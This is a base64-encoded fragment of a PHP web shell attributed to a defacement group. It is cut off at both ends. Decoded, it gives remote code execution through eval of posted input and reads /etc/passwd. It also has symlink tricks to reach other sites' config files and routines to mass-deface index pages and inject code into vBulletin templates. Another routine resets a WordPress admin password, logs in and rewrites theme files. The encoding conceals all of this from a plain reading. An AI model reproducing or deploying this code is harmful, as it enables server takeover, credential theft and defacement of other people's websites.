Zm9udC1zaXplOjMwcHg7cGFkZGluZzowO2NvbG9yOiM4MDAwMDA7fSAuYl90Ymx7dGV4dC1hbGlnbjpjZW50ZXI7bWFyZ2luOjAgNHB4IDAgMDtwYWRkaW5nOjAgNHB4IDAgMDtib3JkZXItcmlnaHQ6MXB4IHNvbGlkICMzMzMzMzM7fSAucGhwaW5mbyB0YWJsZXt3aWR0aDoxMDAlO3BhZGRpbmc6MCAwIDAgMDt9IC5waHBpbmZvIHRke2JhY2tncm91bmQ6IzExMTExMTtjb2xvcjojY2NjY2NjO3BhZGRpbmc6NnB4IDhweDs7fSAucGhwaW5mbyB0aCwgdGh7YmFja2dyb3VuZDojMTkxOTE5O2JvcmRlci1ib3R0b206MXB4IHNvbGlkICMzMzMzMzM7Zm9udC13ZWlnaHQ6bm9ybWFsO30gLnBocGluZm8gaDIsIC5waHBpbmZvIGgyIGF7dGV4dC1hbGlnbjpjZW50ZXI7Zm9udC1zaXplOjE2cHg7cGFkZGluZzowO21hcmdpbjozMHB4IDAgMCAwO2JhY2tncm91bmQ6IzIyMjIyMjtwYWRkaW5nOjRweCAwO30gLmV4cGxvcmV7d2lkdGg6MTAwJTt9IC5leHBsb3JlIGEge3RleHQtZGVjb3JhdGlvbjpub25lO30gLmV4cGxvcmUgdGR7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzMzMzMzMztwYWRkaW5nOjAgOHB4O2xpbmUtaGVpZ2h0OjI0cHg7Y29sb3I6Izk5OTk5OTt9IC5leHBsb3JlIHRoe3BhZGRpbmc6M3B4IDhweDtmb250LXdlaWdodDpub3JtYWw7Y29sb3I6Izk5OTk5OTt9IC5leHBsb3JlIHRoOmhvdmVyICwgLnBocGluZm8gdGg6aG92ZXJ7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgcmVkO30gLmV4cGxvcmUgdHI6aG92ZXJ7YmFja2dyb3VuZDojMzMzMzMzO30gLnZpZXdmaWxle2JhY2tncm91bmQ6I0VERUNFQjtjb2xvcjojMDAwMDAwO21hcmdpbjo0cHggMnB4O3BhZGRpbmc6OHB4O30gLnNlbWJ1bnlpe2Rpc3BsYXk6bm9uZTtwYWRkaW5nOjA7bWFyZ2luOjA7fSAjbWVudXtmb250LWZhbWlseTpvcmJpdHJvbjtiYWNrZ3JvdW5kOiAjMTExMTExO21hcmdpbjo1cHggMnB4IDRweCAycHg7fSAjbWVudSBhe3RleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjtmb250LWZhbWlseTpvcmJpdHJvbjtwYWRkaW5nOjRweCA2cHg7bWFyZ2luOjA7YmFja2dyb3VuZDojNjY2NjY2O3RleHQtZGVjb3JhdGlvbjpub25lO2xldHRlci1zcGFjaW5nOjFweDtjb2xvcjojZmZmZmZmO30gI21lbnUgYTpob3Zlcntmb250LWZhbWlseTpvcmJpdHJvbjtiYWNrZ3JvdW5kOiMxOTE5MTk7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgIzQ0NDQ0NDtib3JkZXItdG9wOjFweCBzb2xpZCAjNDQ0NDQ0O2NvbG9yOiNjZWNlY2U7fWssIGsgYSwgayBhOmhvdmVye3RleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIHJlZDtmb250LWZhbWlseTpvcmJpdHJvbjtmb250LXNpemU6MjVweDtjb2xvcjojZmZmZmZmO308L3N0eWxlPjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2NtZCcpLmZvY3VzKCk7Ij48ZGl2IGNsYXNzPSJtYWluIj48ZGl2IGNsYXNzPSJoZWFkX2luZm8iPiA8dGFibGU+PHRyPjx0ZCB3aWR0aD0iMTUlIj48dGFibGUgY2xhc3M9ImJfdGJsIj4NCjw/cGhwIGVjaG8gKGJhc2U2NF9kZWNvZGUoJ1BHZ3hQanhoUG1zZ01pQnNJR3dnTXlBeklHUW1ibUp6Y0RzbWJtSnpjRHRUSUdnZ1pTQnNJR3c4TDJFK1BDOW9NVDRtYm1KemNEc21ibUp6Y0RzbWJtSnpjRHNtYm1KemNEcz0nKSk7Pz48ZGl2IGlkPSJtZW51Ij48YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7Pz4mYW1wO3g9YWJvdXQiPkFib3V0IE1lPC9hPjwvZGl2Pg0KPC90ZD48L3RyPjwvdGFibGU+PC90ZD48dGQgY2xhc3M9InRvcCIgd2lkdGg9JzYwJSc+PD9waHAgZWNobyAkYnVmZjs/PjwvdGQ+Jm5ic3A7Jm5ic3A7PHRkIHN0eWxlPSJ3aWR0aDozMCU7Ij48YT5zZXJ2ZXIgaXAgOjw/cGhwIGVjaG8gJHNlcnZlcl9pcC4iPGZvbnQgY29sb3I9J3JlZCc+PGJyPjxicj48L2ZvbnQ+IHlvdXIgaXAgOiAiLiRteV9pcC4iPGJyPjwvYT4iOz8+PGJyPjxkaXYgaWQ9Im1lbnUiPjxhIGhyZWY9Ij8iPkhvbWU8L2E+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+PC9kaXY+DQo8ZGl2IGlkPSJtZW51Ij48YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7Pz4iPkZpbGVzPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1zaGVsbCI+U2hlbGw8L2E+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOz8+JmFtcDt4PXVwbG9hZCI+dXBsb2FkPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1waHAiPkV2YWw8L2E+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOz8+JmFtcDt4PXN5bSI+U3ltPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1uZXRzcGxvaXQiPlRvb2xzPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1teXNxbCI+U3FsPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1tYXNzIj5NYXNzPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1icnV0ZSI+QnJ1dGU8L2E+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOz8+JmFtcDt4PXBocGluZm8iPnBocGluZm88L2E+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOz8+JmFtcDt4PXpvbmUtaCI+Wm9uZS1IPC9hPjxhIGhyZWY9Ij88P3BocCBlY2hvICJ5PSIuJHB3ZDs/PiZhbXA7eD1qb29tbGEiPkpvb21sYTwvYT48YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7Pz4mYW1wO3g9d29yZHByZXNzIj5Xb3JkcHJlc3M8L2E+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOz8+JmFtcDt4PXZiIj5WYjwvYT48YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7Pz4mYW1wO3g9ZG9tYWlucyI+RG9tYWluczwvYT48YSBocmVmPSI/PD9waHAgZWNobyAieT0iLiRwd2Q7Pz4mYW1wO3g9c3RyaW5nIj5TdHJpbmc8L2E+PGEgaHJlZj0iPzw/cGhwIGVjaG8gInk9Ii4kcHdkOz8+JmFtcDt4PXdtIj5XcCBNYXNzPC9hPjwvZGl2Pg0KPD9waHAgaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3BocCcpKXs/Pjxmb3JtIGFjdGlvbj0iP3k9PD9waHAgZWNobyAkcHdkOz8+JmFtcDt4PXBocCIgbWV0aG9kPSJwb3N0Ij48dGFibGUgY2xhc3M9ImNtZGJveCI+PHRyPjx0ZD48dGV4dGFyZWEgY2xhc3M9Im91dHB1dCIgbmFtZT0iY21kIiBpZD0iY21kIiBjb2xzPTkwPiANCjw/cGhwIGlmKGlzc2V0KCRfUE9TVFsnc3VibWl0Y21kJ10pKSB7ZWNobyBldmFsKG1hZ2ljYm9vbSgkX1BPU1RbJ2NtZCddKSk7fWVsc2UgZWNobyAiZWNobyBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9wYXNzd2QnKTsiOz8+PC90ZXh0YXJlYT48L3RkPjwvdHI+PHRyPjx0ZD48aW5wdXQgc3R5bGU9IndpZHRoOjE5JTsiIGNsYXNzPSJpbnB1dHpidXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkRvICEiIG5hbWU9InN1Ym1pdGNtZCIgLz48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+PC9mb3JtPiA8P3BocCB9DQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ2Fib3V0Jykpe2VjaG8gJzxjZW50ZXI+PGltZyBjbGFzcz0iSG92ZXJCb3JkZXIiIGFsdD0iIiBzcmM9ImRhdGE6aW1hZ2UvanBlZzsnLiR0dW5pc2lhLiciIC8+PC9jZW50ZXI+PGJyPjxjZW50ZXI+PGs+V2ViIFNoZWxsIEJ5IEsybGwzM2Q8YnI+PGJyPjxicj5NYWlsOiZuYnNwOzxhIGhyZWY9bWFpbHRvOmsybGwzM2RAbGl2ZS5mcj5rMmxsMzNkIFthdF0gbGl2ZS5mcjwvYT48YnI+PGJyPjxhIGhyZWY9Imh0dHBzOi8vZmFjZWJvb2suY29tL2sybGwzM2QiIHRhcmdldD0iX2JsYW5rIj5GYWNlYm9vazwvYT4mbmJzcDs8YSBocmVmPSJodHRwOi8vem9uZS1oLm9yZy9hcmNoaXZlL25vdGlmaWVyPVJlWksyTEwiIHRhcmdldD0iX2JsYW5rIj5ab25lLUg8L2E+PC9rPjwvY2VudGVyPic7fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdzeW0nKSl7QHNldF90aW1lX2xpbWl0KDApO0Bta2Rpcignc3ltJywwNzc3KTtlcnJvcl9yZXBvcnRpbmcoMCk7JGh0YWNjZXNzICA9ICJPcHRpb25zIGFsbCBcbiBEaXJlY3RvcnlJbmRleCBnYXphLmh0bWwgXG4gQWRkVHlwZSB0ZXh0L3BsYWluIC5waHAgXG4gQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgXG4gIEFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbCBcbiBBZGRIYW5kbGVyIHR4dCAuaHRtbCBcbiBSZXF1aXJlIE5vbmUgXG4gU2F0aXNmeSBBbnkiOyRvcCA9QGZvcGVuICgnc3ltLy5odGFjY2VzcycsJ3cnKTtmd3JpdGUoJG9wICwkaHRhY2Nlc3MpO2VjaG8gJzxjZW50ZXI+PGJyPjxicj48Zm9ybSBtZXRob2Q9InBvc3QiPiBGaWxlIFBhdGg6PGJyPjxpbnB1dCBjbGFzcz0iaW5wdXR6IiB0eXBlPSJ0ZXh0IiBuYW1lPSJmaWxlIiB2YWx1ZT0iL2hvbWUvdXNlci9wdWJsaWNfaHRtbC9jb25maWcucGhwIiBzaXplPSI2MCIvPjxicj5TeW1saW5rIE5hbWU8YnI+PGlucHV0IGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InN5bWZpbGUiIHZhbHVlPSJzLnR4dCIgc2l6ZT0iNjAiLz48YnI+PGJyPjxpbnB1dCBjbGFzcz0iaW5wdXR6YnV0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJzeW1saW5rIiBuYW1lPSJzeW1saW5rIiAvPjxicj48YnI+PC9mb3JtPjwvY2VudGVyPic7JHRhcmdldCA9ICRfUE9TVFsnZmlsZSddOyRzeW1maWxlID0gJF9QT1NUWydzeW1maWxlJ107JHN5bWxpbmsgPSAkX1BPU1RbJ3N5bWxpbmsnXTtpZiAoJHN5bWxpbmspIHtAc3ltbGluaygiJHRhcmdldCIsInN5bS8kc3ltZmlsZSIpO2VjaG8gJzxicj48Y2VudGVyPjxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSJzeW0vJy4kc3ltZmlsZS4nIiA+Jy4kc3ltZmlsZS4nPC9hPjxjZW50ZXI+Jzt9fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdtYXNzJykpe2Vycm9yX3JlcG9ydGluZygwKTs/Pjx0YWJsZT48dGQgd2lkdGg9IjUwJSI+PGZvcm0gRU5DVFlQRT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgYWN0aW9uPSI8P3BocCAkX1NFUlZFUlsnUEhQX1NFTEYnXT8+IiBtZXRob2Q9cG9zdD48cCBhbGlnbj0iY2VudGVyIj48aDI+Rm9sZGVyPC9oMj48aW5wdXQgY2xhc3MgPSdpbnB1dHonIHR5cD10ZXh0IG5hbWU9cGF0aCBzaXplPTYwIHZhbHVlPSI8P3BocCBlY2hvIGdldGN3ZCgpOz8+Ij48YnI+PGgyPmZpbGUgbmFtZTwvaDI+PGlucHV0IGNsYXNzID0naW5wdXR6JyB0eXA9dGV4dCBuYW1lPWZpbGUgc2l6ZT02MCB2YWx1ZT0iaW5kZXgucGhwIj48YnI+PC90ZD48dGQgd2lkdGg9IjUwJSI+PGgzPkluZGV4IGNvZGUgPC9oMz48dGV4dGFyZWEgY2xhc3MgPSdpbnB1dHonIG5hbWU9aW5kZXggcm93cz0xMCBjb2xzPTQwPmhhY2tlZCBCeSBSZVpLMkxMIFRlYW08L3RleHRhcmVhPjxicj48L3RkPjwvcD48L3RhYmxlPjxjZW50ZXI+PGJyPjxicj48YnI+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9c3VibWl0IHZhbHVlPSImbmJzcDsmbmJzcDtEZWZhY2UmbmJzcDsmbmJzcDsiPjwvY2VudGVyPjwvZm9ybT48YnI+PD9waHAgJG1haW5wYXRoPSRfUE9TVFtwYXRoXTskZmlsZT0kX1BPU1RbZmlsZV07JGRpcj1vcGVuZGlyKCIkbWFpbnBhdGgiKTskY29kZT1iYXNlNjRfZW5jb2RlKCRfUE9TVFtpbmRleF0pOyRpbmR4PWJhc2U2NF9kZWNvZGUoJGNvZGUpO3doaWxlKCRyb3c9cmVhZGRpcigkZGlyKSl7JHN0YXJ0PUBmb3BlbigiJHJvdy8kZmlsZSIsIncrIik7JGZpbmlzaD1AZndyaXRlKCRzdGFydCwkaW5keCk7aWYgKCRmaW5pc2gpe2VjaG8gIiRyb3cvJGZpbGUgPiBEb25lPGJyPjxicj4iO319fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICd2YicpKSB7aWYoZW1wdHkoJF9QT1NUWydpbmRleCddKSl7ZWNobyAiPGNlbnRlcj48YnI+PGJyPjxGT1JNIG1ldGhvZD0nUE9TVCc+aG9zdCA6IDxJTlBVVCBzaXplPScxNScgY2xhc3M9J2lucHV0eicgdmFsdWU9J2xvY2FsaG9zdCcgbmFtZT0nbG9jYWxob3N0JyB0eXBlPSd0ZXh0Jz4mbmJzcDt8Jm5ic3A7ZGF0YWJhc2UgOiA8SU5QVVQgY2xhc3M9J2lucHV0eicgc2l6ZT0nMTUnIHZhbHVlPSdkYl9uYW1lJyBuYW1lPSdkYXRhYmFzZScgdHlwZT0ndGV4dCc+Jm5ic3A7fCZuYnNwO3VzZXJuYW1lIDogPElOUFVUIGNsYXNzPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nZGJfdXNlcicgbmFtZT0ndXNlcm5hbWUnIHR5cGU9J3RleHQnPiZuYnNwO3wmbmJzcDtwYXNzd29yZCA6IDxJTlBVVCBjbGFzcz0naW5wdXR6JyBzaXplPScxNScgdmFsdWU9J2JkX3Bhc3MnIG5hbWU9J3Bhc3N3b3JkJyB0eXBlPSd0ZXh0Jz4mbmJzcDt8Jm5ic3A7cGVyZml4IDogPGlucHV0IGNsYXNzPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nJyBuYW1lPSdwZXJmaXgnIHR5cGU9J3RleHQnPjxicj48dGV4dGFyZWEgY2xhc3M9J2lucHV0eicgbmFtZT0naW5kZXgnIGNvbHM9JzQwJyByb3dzPScxMCc+SGFja2VkIEJ5IFJlWksyTEwgVGVhbTwvdGV4dGFyZWE+PGJyPjxJTlBVVCBjbGFzcz0naW5wdXR6YnV0JyB2YWx1ZT0nRGVmYWNlJyBuYW1lPSdzZW5kJyB0eXBlPSdzdWJtaXQnPjwvRk9STT48L2NlbnRlcj4iO31lbHNleyRsb2NhbGhvc3QgPSAkX1BPU1RbJ2xvY2FsaG9zdCddOyRkYXRhYmFzZSA9ICRfUE9TVFsnZGF0YWJhc2UnXTskdXNlcm5hbWUgPSAkX1BPU1RbJ3VzZXJuYW1lJ107JHBhc3N3b3JkID0gJF9QT1NUWydwYXNzd29yZCddOyRwZXJmaXggPSAkX1BPU1RbJ3BlcmZpeCddOyRpbmRleCA9ICRfUE9TVFsnaW5kZXgnXTtAbXlzcWxfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQpIG9yIGRpZShteXNxbF9lcnJvcigpKTtAbXlzcWxfc2VsZWN0X2RiKCRkYXRhYmFzZSkgb3IgZGllKG15c3FsX2Vycm9yKCkpOyRpbmRleD1zdHJfcmVwbGFjZSgiXCciLCInIiwkaW5kZXgpOyRzZXRfaW5kZXggID0gIntcJHtldmFsKGJhc2U2NF9kZWNvZGUoXCciOyRzZXRfaW5kZXggLj0gYmFzZTY0X2VuY29kZSgiZWNobyAnJGluZGV4JzsiKTskc2V0X2luZGV4IC49ICJcJykpfX17XCR7ZXhpdCgpfX08L3RleHRhcmVhPiI7JG9rPUBteXNxbF9xdWVyeSgiVVBEQVRFICIuJHBlcmZpeC4idGVtcGxhdGUgU0VUIHRlbXBsYXRlID0nIi4kc2V0X2luZGV4LiInIFdIRVJFIHRpdGxlID0nRk9SVU1IT01FJyIpIG9yIGRpZShteXNxbF9lcnJvcigpKTtpZigkb2spe2VjaG8gIkRlZmFjZWQ8YnI+PGJyPiI7fX19DQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3dtJykpe2luaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtzZXRfdGltZV9saW1pdCgwKTtAc2Vzc2lvbl9zdGFydCgpOyRiYXNlX3BhdGggPSBkaXJuYW1lKF9fRklMRV9fKS4nLyc7ZnVuY3Rpb24gZW50cmUydjIoJHRleHQsJG1hcnF1ZXVyRGVidXRMaWVuLCRtYXJxdWV1ckZpbkxpZW4sJGk9MSl7JGFyMD1leHBsb2RlKCRtYXJxdWV1ckRlYnV0TGllbiwgJHRleHQpOyRhcjE9ZXhwbG9kZSgkbWFycXVldXJGaW5MaWVuLCAkYXIwWyRpXSk7cmV0dXJuIHRyaW0oJGFyMVswXSk7fWZ1bmN0aW9uIHJhbmRvbXQoKSB7JGNoYXJzID0gImFiY2RlZmdoaWprbW5vcHFyc3R1dnd4eXowMjM0NTY3ODkiO3NyYW5kKChkb3VibGUpbWljcm90aW1lKCkqMTAwMDAwMCk7JGkgPSAwOyRwYXNzID0gJyc7d2hpbGUgKCRpIDw9IDcpIHskbnVtID0gcmFuZCgpICUgMzM7JHRtcCA9IHN1YnN0cigkY2hhcnMsICRudW0sIDEpOyRwYXNzID0gJHBhc3MgLiAkdG1wOyRpKys7fXJldHVybiAkcGFzczt9ZnVuY3Rpb24gaW5kZXhfY2hhbmdlcl93cCgkY29uZiwgJGNvbnRlbnQpIHskb3V0cHV0ID0gJyc7JGRvbCA9ICckJzskdXNlcm5hbWUgPSBlbnRyZTJ2MigkY29uZiwiZGVmaW5lKCdEQl9VU0VSJywgJyIsIicpOyIpOyRwYXNzd29yZCA9IGVudHJlMnYyKCRjb25mLCJkZWZpbmUoJ0RCX1BBU1NXT1JEJywgJyIsIicpOyIpOyRkYm5hbWUgPSBlbnRyZTJ2MigkY29uZiwiZGVmaW5lKCdEQl9OQU1FJywgJyIsIicpOyIpOyRwcmVmaXggPSBlbnRyZTJ2MigkY29uZiwkZG9sLiJ0YWJsZV9wcmVmaXggID0gJyIsIiciKTskaG9zdCA9IGVudHJlMnYyKCRjb25mLCJkZWZpbmUoJ0RCX0hPU1QnLCAnIiwiJyk7Iik7JGxpbms9bXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlcm5hbWUsJHBhc3N3b3JkKTtpZigkbGluaykge215c3FsX3NlbGVjdF9kYigkZGJuYW1lLCRsaW5rKSA7JGRvbCA9ICckJzskcmVxMSA9IG15c3FsX3F1ZXJ5KCJVUERBVEUgYCIuJHByZWZpeC4idXNlcnNgIFNFVCBgdXNlcl9sb2dpbmAgPSAnazInLGB1c2VyX3Bhc3NgID0gJzQyOTdmNDRiMTM5NTUyMzUyNDViMjQ5NzM5OWQ3YTkzJyBXSEVSRSBgSURgID0gMSIpO30gZWxzZSB7JG91dHB1dC49ICJbLV0gREIgRXJyb3I8YnI+Ijt9aWYoJHJlcTEpIHskcmVxID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRwcmVmaXguIm9wdGlvbnNgIFdIRVJFIG9wdGlvbl9uYW1lPSdob21lJyIpOyRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcSk7JHNpdGVfdXJsPSRkYXRhWyJvcHRpb25fdmFsdWUiXTskcmVxID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRwcmVmaXguIm9wdGlvbnNgIFdIRVJFIG9wdGlvbl9uYW1lPSd0ZW1wbGF0ZSciKTskZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXEpOyR0ZW1wbGF0ZSA9ICRkYXRhWyJvcHRpb25fdmFsdWUiXTskcmVxID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRwcmVmaXguIm9wdGlvbnNgIFdIRVJFIG9wdGlvbl9uYW1lPSdjdXJyZW50X3RoZW1lJyIpOyRkYXRhID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcSk7JGN1cnJlbnRfdGhlbWUgPSAkZGF0YVsib3B0aW9uX3ZhbHVlIl07JHVzZXJhZ2VudD0iTW96aWxsYS80LjAgKGNvbXBhdGlibGU7TVNJRSA3LjBiO1dpbmRvd3MgTlQgNS4xOy5ORVQgQ0xSIDEuMS40MzIyO0FsZXhhIFRvb2xiYXI7Lk5FVCBDTFIgMi4wLjUwNzI3KSI7JHVybDI9JHNpdGVfdXJsLiIvd3AtbG9naW4ucGhwIjskY2ggPSBjdXJsX2luaXQoKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCJsb2c9azImcHdkPTEyMzEyMyZyZW1lbWJlcm1lPWZvcmV2ZXImd3Atc3VibWl0PUxvZyBJbiZ0ZXN0Y29va2llPTEiKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIDEwKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAiQ09PS0lFLnR4dCIpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAiQ09PS0lFLnR4dCIpOyRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTskcG9zID0gc3RycG9zKCRidWZmZXIsImFjdGlvbj1sb2dvdXQiKTtpZigkcG9zID09PSBmYWxzZSkgeyRvdXRwdXQuPSAiWy1dIFN1Y2Nlc3NmdWwgTG9naW48YnI+Ijt9IGVsc2UgeyRvdXRwdXQuPSAiWytdIFN1Y2Nlc3NmdWwgTG9naW48YnI+Ijt9JHVybDI9JHNpdGVfdXJsLiIvd3AtYWRtaW4vdGhlbWUtZWRpdG9yLnBocD9maWxlPS90aGVtZXMvIi4kdGVtcGxhdGUuJy9pbmRleC5waHAmdGhlbWU9Jy51cmxlbmNvZGUoJGN1cnJlbnRfdGhlbWUpLicmZGlyPXRoZW1lJztjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAwKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgIkNPT0tJRS50eHQiKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgIkNPT0tJRS50eHQiKTskYnVmZmVyMCA9IGN1cmxfZXhlYygkY2gpOyRfd3Bub25jZSA9IGVudHJlMnYyKCRidWZmZXIwLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iX3dwbm9uY2UiIG5hbWU9Il93cG5vbmNlIiB2YWx1ZT0iJywnIiAvPicpOyRfZmlsZSA9IGVudHJlMnYyKCRidWZmZXIwLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJywnIiAvPicpO2lmKHN1YnN0cl9jb3VudCgkX2ZpbGUsIi9pbmRleC5waHAiKSAhPSAwKXskb3V0cHV0Lj0gIlsrXSBpbmRleC5waHAgT3BlbmVkPGJyPiI7fWVsc2UgeyRvdXRwdXQuPSAiWy1dIGluZGV4LnBocCBVbmFibGUgdG8gb3Blbjxicj4iO30kdXJsMj0kc2l0ZV91cmwuIi93cC1hZG1pbi90aGVtZS1lZGl0b3IucGhwIjtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCJuZXdjb250ZW50PSIuJGNvbnRlbnQuIiZhY3Rpb249dXBkYXRlJmZpbGU9Ii4kX2ZpbGUuIiZfd3Bub25jZT0iLiRfd3Bub25jZS4iJnN1Ym1pdD1VcGRhdGUgRmlsZSIpO2N1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7Y3VybF9zZXRvcHQoJGNoLENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7Y3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgIkNPT0tJRS50eHQiKTtjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgIkNPT0tJRS50eHQiKTskYnVmZmVyID0gY3VybF9leGVjKCRjaCk7Y3VybF9jbG9zZSgkY2gpOyRwb3MgPSBzdHJwb3MoJGJ1ZmZlciwnPGRpdiBpZD0ibWVzc2FnZSIgY2xhc3M9InVwZGF0ZWQiPicpOyRjb25kID0gMDtpZigkcG9zID09PSBmYWxzZSl7JG91dHB1dC49ICJbLV0gaW5kZXgucGhwIEZhaWxlZDxicj4iO30gZWxzZSB7JG91dHB1dC49ICJbK10gaW5kZXgucGhwIEZhaWxlZCs8YnI+IjskY29uZCA9IDE7fX0gZWxzZSB7JG91dHB1dC49ICJbLV0gREIgRXJyb3I8YnI+Ijt9Z2xvYmFsICRiYXNlX3BhdGg7dW5saW5rKCRiYXNlX3BhdGguJ0NPT0tJRS50eHQnKTtyZXR1cm4gYXJyYXkoJ2NvbmQnPT4kY29uZCwgJ291dHB1dCc9PiRvdXRwdXQpO31mdW5jdGlvbiBleGVjX21vZGVfMSgkZGVmX3VybCkge0Bta2Rpcignc3ltJywwNzc3KTskd3IgID0gIk9wdGlvbnMgYWxsIFxuIERpcmVjdG9yeUluZGV4IFN1eC5odG1sIFxuIEFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIFxuIEFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwIFxuICBBZGRUeXBlIHRleHQvcGxhaW4gLmh0bWwgXG4gQWRkSGFuZGxlciB0eHQgLmh0bWwgXG4gUmVxdWlyZSBOb25lIFxuIFNhdGlzZnkgQW55IjskZnAgPSBAZm9wZW4gKCdzeW0vLmh0YWNjZXNzJywndycpO2Z3cml0ZSgkZnAsICR3cik7QHN5bWxpbmsoJy8nLCdzeW0vcm9vdCcpOyRkb21pbmlvcyA9IEBmaWxlX2dldF9jb250ZW50cygiL2V0Yy9u